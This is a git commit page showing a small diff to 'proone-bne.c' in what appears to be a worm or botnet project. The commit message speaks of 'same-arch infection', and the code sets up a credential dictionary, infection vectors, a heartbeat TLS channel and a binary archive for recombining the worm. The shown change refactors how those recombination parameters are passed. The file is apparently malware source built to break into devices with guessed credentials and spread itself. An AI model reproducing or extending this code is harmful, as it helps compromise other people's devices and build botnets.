aboutsummaryrefslogtreecommitdiff
path: root/src/proone-bne.c
diff options
context:
space:
mode:
authorDavid Timber <mieabby@gmail.com>2021-07-22 22:30:48 +1000
committerDavid Timber <mieabby@gmail.com>2021-07-22 22:30:48 +1000
commit5a98bcd78867b4fb1a272ce26774c8811f28750d (patch)
treefebb7d4d3112d4ce598cd9352fc81d2da2d54ca6 /src/proone-bne.c
parenta0b92490365dc88d50c81780ff9ebb6ddb681e5e (diff)
Impl PRNE_HTBT_OP_RCB ...
* Parameterize prne_start_bin_rcb() args * Change value of PRNE_ARCH_NONE to 0 to use it over the wire (problem arises deserialising) * tostr() and fstr() functions set errno to EINVAL * Run bne without binary archive to support same-arch infection
Diffstat (limited to 'src/proone-bne.c')
-rw-r--r--src/proone-bne.c11
1 files changed, 8 insertions, 3 deletions
diff --git a/src/proone-bne.c b/src/proone-bne.c
index 20fb24b..0a3f75d 100644
--- a/src/proone-bne.c
+++ b/src/proone-bne.c
@@ -175,6 +175,7 @@ int main (const int argc, const char **args) {
prne_cred_dict_t dict;
prne_bin_archive_t ba;
prne_bne_param_t param;
+ prne_rcb_param_t rcb;
prne_pack_rc_t prc;
mbedtls_entropy_context entropy;
mbedtls_ctr_drbg_context ctr_drbg;
@@ -191,6 +192,7 @@ int main (const int argc, const char **args) {
prne_init_cred_dict(&dict);
prne_init_bne_param(&param);
+ prne_init_rcb_param(&rcb);
prne_init_bin_archive(&ba);
mbedtls_x509_crt_init(&htbt_ssl.ca);
@@ -295,13 +297,15 @@ int main (const int argc, const char **args) {
goto END;
}
+ rcb.m_dv = m_dv;
+ rcb.dv_len = dv_len;
+ rcb.ba = &ba;
+
param.htbt_ssl_conf = &htbt_ssl.conf;
param.cred_dict = &dict;
param.vector.arr = ARR_VEC;
param.vector.cnt = sizeof(ARR_VEC)/sizeof(prne_bne_vector_t);
- param.rcb.m_dv = m_dv;
- param.rcb.dv_len = dv_len;
- param.rcb.ba = &ba;
+ param.rcb = &rcb;
param.cb.exec_name = cb_exec_name;
for (size_t i = 0; i < cnt; i += 1) {
@@ -381,6 +385,7 @@ END: // CATCH
mbedtls_ssl_config_free(&htbt_ssl.conf);
prne_free_cred_dict(&dict);
prne_free_bne_param(&param);
+ prne_free_rcb_param(&rcb);
prne_free_bin_archive(&ba);
prne_close(fd);
prne_free(arr);